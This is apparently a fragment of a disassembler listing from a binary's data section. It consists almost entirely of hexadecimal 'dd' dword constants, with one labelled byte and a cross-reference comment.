dd 4213EB39h, 0E3DE5317h, 5CE5C57h, 632FF94Ch, 65E05BCh
dd 0D935FB5Bh, 84A80D41h, 709A94h, 54038DB7h, 0EF93C1F0h
dd 0DB20E702h, 0D57C3A4h, 328EC276h, 7931792Fh, 3EB7A56Ch
dd 6C40E4AFh, 0D99E5C35h, 4B9B3794h, 0EBD1FA90h, 37A02D99h
dd 0C35A857Bh, 0C3D6D2CDh, 0C3C9F1FCh, 0D42AD9ACh, 48BFDA6Dh
dd 603F6F59h, 32963265h, 7E1E95E1h, 6FC019A3h, 1CBD55E4h
dd 0DD291E08h, 0A8D6C3A7h, 8DBFB42Ah, 7663D115h, 0BD6D9120h
dd 0A5251D6Bh, 67CCEBB7h, 686E1F82h, 0FD5E7B1Dh, 7D00FEC1h
dd 0E62E8B65h, 265B9470h, 34AA5D8Ah, 858E4BC1h, 0B67C4823h
dd 3B3BD839h, 0B48571DDh, 2D173FFh, 0DD8C6043h, 0C43FD372h
dd 1B9F2F44h, 0AD47C251h, 3A6AAD45h, 0E9DB499h, 0D79C4222h
dd 3ED5B339h, 146D1953h, 0FF546919h, 0C0465072h, 1155A466h
dd 0A6D00B33h, 261616CFh, 968871ADh, 73073B72h, 0DC0F76Fh
dd 0CB290FE4h, 0C0782CAAh, 4E994F3Fh, 9B66AE8Ah, 0BD9D1BCDh
dd 2E750C77h, 0E5AC0A73h, 98893EEDh, 2A18784Ah, 894ABAF0h
dd 0E446C7ADh, 0D827F35Bh, 5C0B3C68h, 7E192977h, 0EA56A568h
dd 678A3FAEh, 59DB07B0h, 0DCBDEC03h, 8E27E2D9h, 0D3C5D8BDh
dd 4FF49DEh, 0A200A339h, 0FDFAC169h, 0FF4D2FB0h, 46BB17E8h
dd 9C490C2h, 25EF20C9h, 0B507B154h, 23201B64h, 2D952A0Ch
dd 0DF85CC59h, 5475CF62h, 67757FA4h, 0E3870393h, 4AE4198Eh
dd 0F9F1EA3Fh, 5A2779DEh, 0EE6C7FE6h, 2B6884EBh, 5E817703h
dd 410A8250h, 0B349BF6Dh, 0F9D6E74Fh, 0F6FD9CD1h, 35388294h
dd 0AF5CE020h, 0ACCC8187h, 1DA37128h, 49D540h, 1D7677CEh
dd 0C94957B9h, 0CF4724E0h, 0B294E7E4h, 7F0274E7h, 0F5E25E1Ah
dd 140A6102h, 8DE5089h, 6B74CE4Ah, 8EB262E2h, 877C9D87h
dd 21E9D10h, 953B8A13h, 0F69EBBADh, 2558DEC3h, 35B4C455h
dd 7D8F2416h, 6404B258h, 7F3EB1A0h, 0C468A0Ah, 4D107C91h
dd 8B2BD9FAh, 0DB630B91h, 1CFB5BB9h, 40F4F5A2h, 0FD1DC560h
dd 0D5A8CDAEh, 74821E8Ah, 0A3D29ED6h, 572B5E9Ch, 5CEB715Eh
dd 8E12B217h, 5DC0AF47h, 10E21D9Ch, 4BAA8737h, 8C8EB525h
dd 0A05BA2FEh, 0AB3104A9h, 0A590F3C7h, 93BE9870h, 3BD9161Fh
dd 0DA305673h, 0A14F729Fh, 0AEDC58B4h, 315B816Dh, 6810CCFDh
dd 6B061ADCh, 0DB97FD60h, 0E7ACD40Eh, 0AE3ABB54h, 3F599244h
dd 9C49B7D8h, 0B92D1F9Dh, 7A1D2537h, 3D027BA8h, 0B86E0A61h
dd 0C7BF7250h, 52D40FD6h, 0FE87C136h, 0C6F9887Ah, 5C322B38h
dd 5E9BC814h, 0DE274E7Bh, 0BB705578h, 0DC0E52F1h, 68F875D5h
dd 0D8C89Ch, 0D43A6A32h, 5546AA3h, 805BB8B9h, 0DA3274B9h
dd 0D1E26757h, 28C3995Fh, 56ADC1FDh, 523A7DFEh, 0CF6BFE66h
dd 764A9F65h, 70DF7DCFh, 40840F54h, 1F36B2E7h, 8BA6B508h
dd 0B190C52Bh, 250805ABh, 8191469Dh, 1DEA7CBFh, 0C90D8519h
dd 0C985D753h, 0B9A79994h, 16D55CB9h, 0A02B6663h, 0A3A9638Dh
dd 0DFDB3C13h, 313E85C8h, 7877A639h, 0C3945A49h, 1A57DE3h
dd 0A2F4A125h, 1FBA3F83h, 5911DD1Fh, 3B0715F8h, 694407FCh
dd 4FEA2060h, 5D058FB0h, 365BF689h, 31DCE777h, 79E7118Fh
dd 0F18DF45Bh, 6FACDF5h, 4DD5A234h, 4D840883h, 0DB2DA76Ah
dd 8D0FD92Ch, 12ADB727h, 0E98671FAh, 4733ECA4h, 4CC5533Ch
dd 157EDD27h, 0E9C0EF7Ah, 0D33759B1h, 0C178293Bh, 0BEC32EE4h
dd 522278A5h, 0ED473834h, 0CE5DD0D9h, 8C62AE18h, 0C1F6C67Fh
dd 262792Eh, 67402646h, 0FD4F893Bh, 9F413D98h, 9000BB0Bh
dd 20277E62h, 0AB343675h, 416A0786h, 0EE021D40h, 0BBC04FDCh
dd 14A4A7CDh, 0D1073244h, 0C47C8B8Ch, 79FA1CE3h, 0D69EB5F6h
dd 8B263A66h, 96C60866h, 1925FB59h, 8611965Dh, 432CEB39h
dd 0BC741B6Eh, 0BEA7AE77h, 9C6C6178h, 0DC6F5275h, 0F0083BFDh
dd 0F967762h, 0C4D5D27h, 274CDEC2h, 0CD6CAFA2h, 0D8D978D3h
dd 0DCEE992Dh, 0C11AF988h, 79D98178h, 0F8F088CAh, 0F6B89A44h
dd 0F9211074h, 50599B2Dh, 0C7D858E2h, 4383C5F3h, 50D83369h
dd 0B8AF45F5h, 0DE1CFF11h, 9DB1410Bh, 73832540h, 0F69A604Fh
dd 62F462EDh, 4972563Eh, 7BC9C590h, 36C6FF98h, 9E0CD925h
dd 115EC4A3h, 27E3044Ch, 0F08B87FAh, 85FBF0E6h, 0F9B5948Fh
dd 0F4EF77D2h, 4B8AADBEh, 1DB848B2h, 9BEEA89Ah, 9E1BC40Eh
dd 429C0276h, 0A574F855h
dd 72CFC8D3h, 51FDD6CCh, 117E3D54h, 14A6DF8Dh, 33B1CAD9h
dd 27860E84h, 4531EEB6h, 5A5CF824h, 7ECB2D1Fh, 743D3279h
dd 0C0D1D44Ch, 49E19F21h, 0D7010938h, 4111DD34h, 0A3EA9BEAh
dd 0C2278CFFh, 233270F4h, 0A7B62FD1h, 0DAD0C0E7h, 576EAD78h
dd 0AA958918h, 0DA1DB2D3h, 597D7DA7h, 0A4B8ADFDh, 0A2A1A451h
dd 0ED73EF88h, 0CDB79974h, 0DC663490h, 75C840C0h, 0E30E398Dh
dd 0FD282D9Ah, 0C18A320Bh, 9B468A77h, 0AE1BC3FEh, 71514159h
dd 670F9371h, 0FB22999Fh, 3F1C152Ah, 0CC22FE9Dh, 21EC1000h
dd 22C69192h, 0ABDAABAEh, 8FAD6603h, 5D95F59Ch, 2454B861h
dd 7678B0FCh, 0CE1BC477h, 84E4A0A4h, 92AD6193h, 0BE410C71h
dd 0FF6D3B1Bh, 0A96B2747h, 9219784Ch, 45F674CAh, 9AB965A8h
dd 4FCE75E6h, 20DB702Ah, 43214269h, 3AB48B27h, 3FAA1A44h
dd 7EE0F579h, 0C317FA31h, 0E2875DDFh, 26AA08C8h, 0CBDDB058h
dd 0E767846Ah, 69EF63BEh, 5CE579D7h, 0CF1A167Ch, 434E481Ch
dd 6463DEE5h, 0C87D04ADh, 0A2829BFEh, 12C87D7Fh, 6C89CC8Bh
dd 8F563759h, 0C21FDC74h, 67A68A4Bh, 6DFDD724h, 4A6BFC82h
dd 95EE56E2h, 7AAE978h, 2EED8D57h, 60D0FFDAh, 5B12DE86h
dd 0FB81E62Ch, 0D00B3BA0h, 106C3CA0h, 73274498h, 6840979Dh
dd 7861D079h, 0B074A2F7h, 5717DEA8h, 0E971C436h, 502B2AA7h
dd 6C3A4294h, 0B3CB81CBh, 71AD4578h, 6B47DFE1h, 0F2D2FD43h
dd 3544FF3Ah, 0B69B521Bh, 0EF7E1A93h, 0E582CA00h, 29D501E3h
dd 79A8761Dh, 523A88F6h, 3D7313BAh, 0A20F3A60h, 67F4A52Ch
dd 8645474h, 316C58EFh, 0DA412E21h, 93FE218Fh, 0DEF96018h
dd 6FE7017Eh, 2D8CDBC4h, 1936FAD4h, 6A7BF955h, 4DC5AC3h
dd 1F0BB10Ah, 98A4D4BBh, 36EBD96Bh, 1332B3C1h, 0DC1A6C60h
dd 0FB5602B4h, 0FAE1C4C4h, 3106B463h, 3C15C8ECh, 0C24EE0A4h
dd 4094CB9Eh, 0C9091CF7h, 0B8B484C9h, 0EB8BC18Ch, 63746207h
dd 0D08E75Eh, 24FF618Ah, 0EBE5CF77h, 9128E2AAh, 17AA8ED3h
dd 276A5C33h, 9235B036h, 0CF77DE6Ch, 748D0D15h, 24A66713h
dd 0B32CA955h, 0CE353A89h, 59C6074Fh, 4123E142h, 6530A1B9h
dd 789768F0h, 54F6314Dh, 671134AFh, 4BF89Dh, 21F37AF8h
dd 3D9A1D8Fh, 702EF337h, 42C725B9h, 1F76517Ch, 1E5EE6BFh
dd 0E5B760FBh, 27D17BAh, 95F346F4h, 0C8EFD9A9h, 35231BC8h
dd 0F2E3AAD8h, 2E9B23AEh, 8672B61Ah, 0FF70CC1Ch, 0E69C33C3h
dd 0AF31D442h, 46D9BFDFh, 0F14D4AD4h, 1C44A3DEh, 7B26F792h
dd 2994FDDCh, 0F56439C2h, 444CA75Fh, 12AB14CEh, 31D52F41h
dd 6EEA35CEh, 3EB705E8h, 4C9D789Dh, 15F8E1D5h, 0F0DC1255h
dd 6DA94456h, 3C30F0F7h, 1DAD3E34h, 342CB06h, 0F0754AC7h
dd 0C0B84AC5h, 1D89D6D8h, 0C2B61596h, 73A334ABh, 3C4E9C83h
dd 0DC9F48DEh, 62B5FCBBh, 9C2FAD41h, 419CC6A9h, 7C8D26BDh
dd 11C625E0h, 68AA2B41h, 515D19DBh, 0B68B22A5h, 7E7B3935h
dd 4E822743h, 2B3EBED6h, 6564BA88h, 0B3AADBCAh, 7BE2162Bh
dd 0DCB95793h, 35CA315Eh, 13757A1Bh, 19B924DFh, 44E75864h
dd 670B05B0h, 3DAF4A7h, 4F03D289h, 0C96318BCh, 904096F5h
dd 0EC5BEB08h, 0B3E5634Fh, 8C8EB3DDh, 8B48D7E9h, 198F35BDh
dd 0D27BB16Ch, 0A6A8BFB1h, 359D0A7Fh, 0CC3B3C27h, 368B1C2Fh
dd 51E75E1Fh, 15126D87h, 9D17029Eh, 6740A29h, 54908F95h
dd 59BBB6CCh, 0D9676A4Eh, 0AFE5FF35h, 0D6D33440h, 0F17BC536h
dd 0DAC9386Ah, 0CE5412BFh, 57326775h, 0A6AB7D4Fh, 0FB040313h
dd 463DE415h, 0FD4C4E9Bh, 714C35A3h, 2E6D58F5h, 0BF2A6F91h
dd 293172B1h, 0A10B62D7h, 2F404607h, 6A8B8A6Eh, 0D15BB835h
dd 1FBD0A12h, 0FFCB22E5h, 4C1FC168h, 0E4B5A4Fh, 0CBBD0388h
dd 0EEE97650h, 81CF7A9Bh, 5A2A7ACDh, 865CD8FEh, 0A5D78309h
dd 461B2CEBh, 8DF6281Dh, 9F0FDA6Ah, 467009F8h, 0A3AF75F8h
dd 8B91D0h, 41741C95h, 3CC1A079h, 10AC70B2h, 0B46B99B1h
dd 6B5BC2DDh, 374FEABCh, 0FB694645h, 56665F25h, 0C4D3EB2Ch
dd 9F5175F3h, 0CF8DF3A1h, 4EA4688Eh, 776EE2C2h, 428B9BCAh
dd 0AD357235h, 0EF375DFDh, 4AD9C5BAh, 0A279B4A7h, 108669Eh
dd 37541EFh, 0E1EA5DF8h, 0D71FF919h, 1F757EE5h, 5EF52D60h
dd 0E84231B4h, 0FCCD3E20h, 34176234h, 910E4973h, 6F3ABCEBh
dd 91EC6659h, 78371915h, 6A6363AAh, 8AD482C0h, 0E66166A8h
dd 4296CFCFh, 87895EDh, 0EDDF80F9h, 9D81851Ch, 2A1B1B5Eh
dd 0DDE940D0h, 0CBE53C6Ch, 1A48988h, 9DB98F4Dh, 0B9B4910Ah
dd 67FA3734h, 0D4505DDEh, 39D98D3Ch, 0ADDA879Ah, 0C2145D89h
dd 4EACA4B2h, 90F22DD7h, 740D615Dh, 6DEC0658h, 21A19CAAh
dd 0B2001749h, 3CB62D43h, 37A095A8h, 6D69E56Ch, 0AFD04438h
dd 0E83B8E2Dh, 81B705DCh, 287018BEh, 0E1FD8C7Fh, 0B095AAE6h
dd 0EE037F5Dh, 5ECD478h, 0E55D8928h, 8D1FF98h, 0DCD84EF6h
dd 3776E93Ah, 42884516h, 14C660AAh, 619E8CD2h, 0DB027148h
dd 0B61E518Bh, 7BC8427h, 0E4E5C8BBh, 0C8A0C308h, 3EC7A658h
dd 0A67A164Bh, 1CD1D76Fh, 0E05F623Ch, 0F52EFDF2h, 0DB356D4Dh
dd 0D7951A65h, 0D9A0AD81h, 0C9377172h, 3EE6D546h, 16D6AFF6h
dd 0C6C01B1Ch, 9603D5EEh, 6361A3F6h, 0B9467D98h, 2E041B85h
dd 0EE48AA82h, 3BD42373h, 1AC8307h, 0ED384B04h, 6A7BE50h
dd 0C3BC592Fh, 0A687F9F1h, 314F3D78h, 2FB6C47h, 4E7DBD24h
dd 0FB055982h, 417A3198h, 6FDDBA1Eh, 5A202E14h, 0F174C4C1h
dd 43EEEB6Fh, 6998153h, 0F125E7BAh, 0A178D577h, 82AA662Ah
dd 8E19CD28h, 32F6DEB3h, 55ABEA1h, 93D0C293h, 88B2881Bh
dd 582B7268h, 0C9A2C346h, 0BD923C86h, 738B11FBh, 0B3F95C28h
dd 1257D914h, 55148817h, 65F70ADDh, 3B836595h, 56039A03h
dd 0D8543111h, 0B77DB259h, 23BAB803h, 0FA1A480Eh, 31EB6E05h
dd 0F043779Ah, 0BBD45825h, 28D5F9B2h, 98C6C574h, 2F950638h
dd 0BCDA3495h, 21BC35D2h, 0DBFC3EAEh, 599FBEC1h, 0F7264B47h
dd 0A7AC513h, 0B10C5A54h, 0B803BC4Dh, 0D90FA94Bh, 0A5A8EC7Ch
dd 0DD99700Fh, 0FBFE9BF3h, 1E98363Fh, 0B245A204h, 0FEDA5A03h
dd 0A4D8BA86h, 32B967E4h, 4636F442h, 882099Ah, 0FA03186Dh
dd 0CA425B2Ch, 0DDBAAD7Dh, 0BEA8D1E2h, 13EA377Dh, 6DCAC22Ah
dd 0E5FD56D6h, 0E331E6FCh, 0D6C5BDF3h, 0F96DFE4Dh, 901A3828h
dd 4B2B0AE4h, 0E25CC9Ah, 0D34ACD41h, 98888628h, 38E4E40Dh
dd 15E4AF1Ch, 8EDFC95Ah, 6B1B3E97h, 417C7DC0h, 0B3C29714h
dd 0EA3B983Dh, 0BA5B09EEh, 3FA2C573h, 40F954C9h, 3F29FBBCh
dd 0B8F31E57h, 0BEBA896Dh, 0B3B127A6h, 2D0F79BAh, 0E3AC2AD8h
dd 0A6299D8Eh, 8ADCC66h, 0B949490Ah, 213F6B88h, 96A6F1BAh
dd 0D0B9E934h, 8B0206A7h, 403AD7C9h, 2D8EC917h, 0B0023293h
dd 852E3C00h, 0C5A15B53h, 5F902F1Ch, 0C87DE63Ch, 0AF0609A5h
dd 0D5BE3D55h, 1522F6D1h, 0B172D3C0h, 0F9267055h, 0F9F2B42Ch
dd 41B7322Dh, 0C25D1C2Fh, 5D849235h, 612FA561h, 7793D021h
dd 977E7D27h, 0E36D2FDDh, 3CD70552h, 0D1763A3Eh, 120BACF2h
dd 0A704857Eh, 64E454E0h, 69148030h, 0EB0D8DDAh, 0A2D97B92h
dd 8F43E907h, 140AC540h, 0EB4E4805h, 0D4FFB3A6h, 3B9194Ah
dd 0D2D2292h, 26AC92C2h, 0B5B0377Eh, 0CFE371BEh, 41E6274Bh
dd 0F051394h, 322F0E86h, 0C574E370h, 207A8207h, 0B35D484Bh
dd 34392ABBh, 0BA05B781h
dd 6CD83409h, 0DBE8B9Fh, 62ABD769h, 3A81642Fh, 3834C4A9h
dd 0F66EFDECh, 3480C380h, 84E2E56Dh, 52F32A52h, 2583EE15h
dd 568D902Fh, 0D48B34Eh, 57CA66BDh, 3FC29D54h, 0A45BB38Ah
dd 4034ED3Ch, 4788AAD9h, 5F8CB4C3h, 9582AF82h, 0F349B4C2h
dd 0C22CF43Bh, 0BC55DBFFh, 0B1261576h, 2E61D78Dh, 0CA8EB68Eh
dd 0AFD4A13h, 60183B16h, 93F371B6h, 826BB010h, 2CD35F4h
dd 0F3E85461h, 214EDB4Bh, 0C8ECD3FCh, 0BC4FCE9Ah, 0E937A45h
dd 3D4780AEh, 1E352B71h, 0EE40481h, 9F3160B4h, 0D56F4854h
dd 310232A3h, 3A85E589h, 8E4687Dh, 0E33897F4h, 0B89444DBh
dd 0E30D058h, 0FC5CF46Fh, 7A5F4B70h, 6511AB80h, 0B4B782BCh
dd 0F71EE1F4h, 0E9552514h, 0AD754B29h, 2B0EAA42h, 0C3D7AA5h
dd 5CE0C0BDh, 44838322h, 36F7053Fh, 5BEA34AFh, 0DA60D791h
dd 563A8A6Fh, 0FEE0BFD0h, 78A92274h, 3B5660E8h, 4B32FF49h
dd 5D6A9CABh, 94A6E7Bh, 64D5C0D2h, 0E7500CCBh, 0B49FC832h
dd 672630Eh, 531DF5D1h, 8CD2571Ah, 346DF397h, 72630318h
dd 0CB62A4F5h, 0DA122EF4h, 0D9B1633Dh, 0A6129E5Eh, 97E64704h
dd 0A8A2AB46h, 0D71D585Fh, 1DB95AD9h, 90DAD54Fh, 4E80F04Ch
dd 2F8F3BD0h, 5C1F1813h, 99A01787h, 0D991329Eh, 2664D03Fh
dd 0D03657D5h, 333A8AE9h, 1EDBE3B4h, 0F6251213h, 4166E907h
dd 0E133E0Dh, 0D7B6CA16h, 107A8591h, 856CD035h, 19B09B1Fh
dd 6886283Bh, 42B4F012h, 0C2B35244h, 0B3D7E9BCh, 0FDA514F3h
dd 0EB100E91h, 365169D9h, 0B3422F88h, 8C2C3303h, 0A84E7194h
dd 2AFBD16Dh, 0DBE6BC18h, 0C3165E95h, 3EADC67Bh, 0A46D070Dh
dd 0E940867h, 20A6A564h, 8BE1B42Ch, 53660E72h, 6828B684h
dd 857C9325h, 0BC4C2526h, 0D04AB2C5h, 0D3DBEC49h, 12E52566h
dd 839D58D8h, 0E39E4BECh, 0D616AFF8h, 90FF2040h
db 0BFh, 10h, 51h
byte_53525F db 6Eh ; DATA XREF: .data:off_4EDD08o
dd 167A9C00h, 0DD17A61Eh, 3CACA51Eh, 8852AD57h, 0F74A9BBBh
dd 92CC7D4Bh, 2355C1CCh, 1B958F7Bh, 8DB4FC5Dh, 0AE02706Dh
dd 0CEB2BB58h, 5B39556Fh, 61DF82EAh, 1CEA3093h, 5A9FE4FBh
dd 0B80305C1h, 0EA8FF4ECh, 0FB005914h, 871B9106h, 0F87052F6h
dd 0E229B2FAh, 0BA74F835h, 828B12A5h, 0EE50E33h, 564A5AC2h
dd 0E6BF891h, 172CAD52h, 0FDD9CD84h, 22109353h, 0B9F28DFDh
dd 0ACE081BEh, 69F5C7E9h, 0F85E13D0h, 7673FF99h, 5DD26FAFh
dd 8FAF1898h, 48C697Eh, 96DC1BCh, 0FCF4F14h, 0D2D76153h
dd 72BF41A8h, 5FC7200Ah, 0AA08F2F8h, 6E0B60C6h, 39AA9DFh
dd 9B7DBCh, 0FAC8041Dh, 73DBB1A9h, 223A6AE1h, 40B46911h
dd 0BCEEAAF8h, 2143A477h, 6AAD68CEh, 538D4F2h, 0DB56387Ch
dd 4D186EAEh, 0A8F39F8h, 86229B14h, 640D9D00h, 0C55F7DF7h
dd 0D4B5ABEFh, 0A5DEC1B6h, 87184B7Bh, 0FB57FA4Ah, 4F70ED21h
dd 41D9BFC8h, 3EA5F72Ch, 0BE26DA0Ah, 58CC9107h, 0D8CA42D3h
dd 0A00B3522h, 3486E945h, 3FB92A89h, 553064F1h, 7D4E85B8h
dd 866CABDFh, 95D3462h, 0FF8692Fh, 4F0D97F2h, 39729811h
dd 92FA8AECh, 0FD3C744Ah, 9DC11033h, 2863D61Dh, 0A3049CEBh
dd 210B014h, 0B715F000h, 2BAC4BA7h, 61C1F574h, 30B3061Dh
dd 3094C6Bh, 5E61C1F6h, 1AB7688Ah, 9A12DACBh, 22C7E8A6h
dd 4E3F93BAh, 0A13C146Eh, 0CB4171FBh, 7C458C29h, 4EC58B90h
dd 734B8800h, 0C32EDE6Ch, 916D98FBh, 92D9BF50h, 9FD7328h
dd 17673F4Ch, 8CE43C03h, 72B8EB4Fh, 8AAC090h, 0DE8DE94Ah
dd 0F609EA36h, 0D55DC9Ah, 651F8C27h, 24733B55h, 0FFF3216Eh
dd 3A349549h, 2BA0472Ah, 60F9F067h, 40401A94h, 5B85CDB9h
dd 1CCEBDD3h, 44D18385h, 348E019Ah, 547085E4h, 0F44B5B77h
dd 3F32DA5Ch, 3B47B1A6h, 87F46F35h, 0F9B8E0Bh, 0C63126AFh
dd 6B653F38h, 25991868h, 349373C0h, 2F3D1AD0h, 75131E6Ch
dd 0E5882885h, 2447EEA0h, 0E68A01DDh, 5B8C5813h, 23597ADFh
dd 4CF5E5A6h, 7C87094Ch, 94C2972Ch, 270CBD06h, 0A8648FB8h
dd 0C0B440FBh, 0BB2C2119h, 97EE9225h, 856B57A5h, 94C49689h
dd 91F6CB6Ch, 0CCE4590Eh, 7F840586h, 149E7959h, 2BAD86A5h
dd 0B556B5C3h, 14AD2DAFh, 5DDB2659h, 971F2C7Fh, 26865CB7h
dd 7DF2D2h, 4C3FD4BAh, 0D84FB288h, 0ED8E49B2h, 138D4B8Dh
dd 0E964B5Fh, 0B0B966B1h, 0F81B3A8Bh, 4E9D8343h, 856F1286h
dd 12AE9641h, 90530B3Dh, 1BDA962Bh, 371CDF2Eh, 0B9D78E6Ah
dd 0D4CC9353h, 0F29AA4F3h, 449C55C7h, 5EE16F60h, 1C18778Ah
dd 12BDB32Dh, 0E47A7BD1h, 7F99DA0Bh, 7C33E0B7h, 8737B520h
dd 62340BD9h, 0DB13C339h, 0CAA0AAA3h, 7610E6D2h, 0DB0DCDB1h
dd 8C16A019h, 7894A516h, 39D6431Ch, 702C4BBDh, 921DFE35h
dd 0ADFB6546h, 826CA7ABh, 0A8CCA833h, 5E1C10A4h, 0CCA27DCDh
dd 0E72E5D45h, 0B04B5EE7h, 0DCA32949h, 93D15DD0h, 6C2D86D3h
dd 0E71BEF67h, 16DC6EF6h, 4C130E24h, 0DE4DB4A0h, 0B7D795BEh
dd 5FD86F25h, 68788DB1h, 0F9ED0D1h, 7DCB8406h, 827F3639h
dd 302A89B3h, 27005EBAh, 63B92715h, 0C0F5BECEh, 1E8BC51Ch
dd 0B35EF1FBh, 0EEC081ABh, 7357F91Eh, 0C499B7CDh, 295EA351h
dd 0D6B710A1h, 0CD66606h, 9F391850h, 1A7F05F5h, 0CDE0044Ch
dd 0A7DA00B0h, 0F40CB122h, 0DBB676CAh, 19CA09A7h, 38533CCEh
dd 0F6E7F7ABh, 4DA1E64h, 1F3935CDh, 88351945h, 0F0C8B6BEh
dd 0FB11300Ch, 0A9D6B35Dh, 0F9D8BB0h, 4D67A67Ah, 6228D8CEh
dd 4F2382F3h, 6AE9CBFCh, 0F4749FEDh, 0F3C14C46h, 66492176h
dd 84BFAAC9h, 0A471681Dh, 0EC41B4B8h, 2E7F25C1h, 0F215D67h
dd 0B8D27AD2h, 0A7F5E232h, 0C58EB475h, 914A6DCFh, 99E306F7h
dd 68314891h, 386400F8h, 0CB5943CBh, 6E2F0B6Fh, 8387DE44h
dd 4429515Ah, 0C64CFB5Dh, 70C0CE73h, 87EC4EEDh, 894BD7B4h
dd 525693C5h, 99C9B01Ah, 0BA78A7A7h, 5178C812h, 7406EC80h
dd 312D620Eh, 5588FE5h, 99B17C37h, 83E7C31Fh, 1B0F3BD0h
dd 4126F3B5h, 416F95A5h, 0B93D188Fh, 0B0ABB9Ch, 0B29705AFh
dd 517B04BDh, 0E3FECDF2h, 0D8965018h, 818BD6A5h, 7627FB94h
dd 0A1C745F4h, 83B066B0h, 642DDED4h, 13382CE6h, 6E5599D8h
dd 0A5A7D9CAh, 0DCD0D0C8h, 29BD6709h, 5CAC5E7h, 97291DB0h
dd 21A1A2DCh, 378224D6h, 0AC4D61FCh, 0B00FB26Eh, 1F7AAF41h
dd 81E75B62h, 43D67332h, 9D7A8796h, 92123D47h, 47001F21h
dd 3D1FDD80h, 0F3029CC8h, 43C429FFh, 8587E898h, 9B6D21D7h
dd 4CF77789h, 3F42816Ah, 0C1B80A86h, 48A2463h, 0A2133187h
dd 10A4A9C8h, 8768666Bh, 3657D3E6h, 78295E87h, 18ABC731h
dd 0D26098E4h, 1E2D6CE3h, 1CF8356Ah, 612DEDB3h, 5C47F9F7h
dd 246C445Dh, 0C691177Ch, 0EA76BF6Ah, 4BC2A543h, 876813D0h
dd 1CCD085Bh, 797DD20Dh, 0BEEFCA64h, 0C8B74684h, 343CE430h
dd 67D4DCBh, 0F05754B2h, 0A3DB50D0h, 8ABE7C09h, 6AB7CC90h
dd 175C9E5Bh, 1ACB4EF4h, 7320E96Fh, 0BB37594Ch, 0E78DD9E3h
dd 0CFAEEC5Eh, 33716EABh, 0AAA315B4h, 0C8ECFBD1h, 482EEB21h
dd 11A3A0AAh, 8B26AB2Ch, 0EF93FCCCh, 0CE9D2788h, 527A75D7h
dd 7E7F6BEFh, 444AD90Bh, 58BEC836h, 9ECAA285h, 0AED4D51Ah
dd 0F09FCD2Ah, 31365BF9h, 972FAC5Ah, 3E410DCEh, 15577777h
dd 6EF1FBB5h, 0F5AEB87h, 75A3F7DAh, 5A583038h, 20115A7Fh
dd 7C10C235h, 0DA6EED2h, 3B435E57h, 4BAC110Eh, 52A35ADFh
dd 4984222h, 28F1317Eh, 407F2B66h, 1D5CCDE5h, 0DD9A5257h
dd 139AFC9Ah, 98E76469h, 4346BB0Ch, 365E981Ch, 0B6D0757Ch
dd 6E251B45h, 0B1218442h, 779B1533h, 7967355Eh, 0A9F0E938h
dd 62BEBD56h, 0EEBD1937h, 0B3F609BEh, 18DD5FD9h, 4F8BCC8Ah
dd 948F17EBh, 0E83B6603h, 504168A7h, 9DAF0818h, 11D33D90h
dd 0CF208A5Ah, 61787AC1h, 1E013058h, 0FEF4A081h, 0C00C11B8h
dd 806D6109h, 0CBF9F740h, 0F69F75BCh, 0A4C1507Eh, 13D27E3Fh
dd 96216B9h, 0DDDD78F9h, 612E06EEh, 5672B087h, 0FFD89428h
dd 93A086F4h, 0DC198C92h, 0F506A97Bh, 6BEF18E3h, 950C8815h
dd 9F73477Fh, 83A213Fh, 1365B15Ch, 2E8FD285h, 0BFF8122Eh
dd 264A996Dh, 96362E89h, 3E74926Dh, 59619A10h, 91FA1269h
dd 8EF6F474h, 9CB22A95h, 34EF8E90h, 727DB053h, 814A404Fh
dd 7343835Ah, 27BFE117h, 0B5C17F20h, 7A1FDDA6h, 9946D3D8h
dd 87FFD756h, 0D5DB7D86h, 433423D5h, 91B1199Bh, 0E4B73468h
dd 3CB443A0h, 2AE95429h, 152DEE57h, 0C40F2590h, 820B55D3h
dd 0E393188Bh, 0B87D5CD1h, 585C8D7Ah, 0A6E3E1CBh, 0FB1CBEF7h
dd 13021C09h, 0F0EB5F4Ch, 0D1CC68C3h, 2B1AD55Eh, 31BBD1EBh
dd 7EBFD8F6h, 818C17C3h, 31FC07C4h, 87E1EA0Ah, 0C4BD52E1h
dd 0BAA3A6F6h, 13101D4Fh, 0B3B95364h, 2492C1C3h, 55424790h
dd 0BEB557F0h, 86D34D16h, 3B732C5h, 31955949h, 2D24673h
dd 12095B3Bh, 0D3C98090h, 9CDC1195h, 7DE29A3Ch, 2C2F020Eh
dd 2D984239h, 0FED7079Dh, 0ABE9519h, 0EB7AC539h, 3991C7EEh
dd 0DD974328h, 36F9C318h, 77A45DD6h, 688468F8h, 7B72D363h
dd 4051565Eh, 33F28CDCh, 88D18C15h, 0E3802E3Eh, 54121A4Eh
dd 0D7E13D5Fh, 0D1DA9B86h, 7F04F1C2h, 6F7C756Bh, 245061EEh
dd 3B0868B0h, 0E8CBA46Fh, 392C2201h, 0CF21A46Ah, 67D632D4h
dd 4B139AE3h, 52B53D4Bh
dd 1C0A0262h, 2C04D3F7h, 4C9A1402h, 4F5F95EDh, 99F27BF7h
dd 3FDB2A5Ah, 0CE4D04DDh, 8895A4EEh, 2CA20C26h, 0E7E19A2Ch
dd 4869CE26h, 0BE774B1Ch, 0B5B9C76Bh, 7C062822h, 3B983D0Bh
dd 0D5925D61h, 258727E0h, 1FD50DFCh, 346251F0h, 34040251h
dd 0D76491DBh, 1FEA2D10h, 3976E2C4h, 9E2CE21Ah, 31E80612h
dd 3F0BB668h, 4C1C5F05h, 0C3E6E527h, 417EBCA8h, 0F79D3684h
dd 0F6C93406h, 43381254h, 0C9DC61D1h, 0B156FD48h, 0FA788EACh
dd 4216F656h, 6D3A0212h, 0C6047771h, 3B5D029Ch, 0B3589825h
dd 0AC315EF3h, 373DE26Eh, 983C49CDh, 721895BDh, 2DB14280h
dd 26F2785Eh, 9AF20083h, 0A38893E2h, 5DD52576h, 5B2233ABh
dd 0C30020D5h, 66896F48h, 0C8B4D093h, 3C2682D9h, 0DA9C1E7Eh
dd 99100E96h, 4FDED6E3h, 6218AD34h, 9CCE608Dh, 182AEFF2h
dd 94E47B2Bh, 0DFDBF21Dh, 24DBAFD1h, 7DCC886h, 0FA74E090h
dd 0AC41F254h, 38936BD9h, 0FE7A7B95h, 0A312D04Ch, 0A142C763h
dd 0F337D15Ch, 0F09EAA82h, 3856C1Ch, 0EFDCA2C3h, 70FA51ECh
dd 0CF1B3537h, 60FDB9E7h, 304735A3h, 0B188626Dh, 0ADAB2F2Fh
dd 0CDEB1950h, 66EB84D9h, 84DF83D8h, 601457EDh, 0A52D6B9Fh
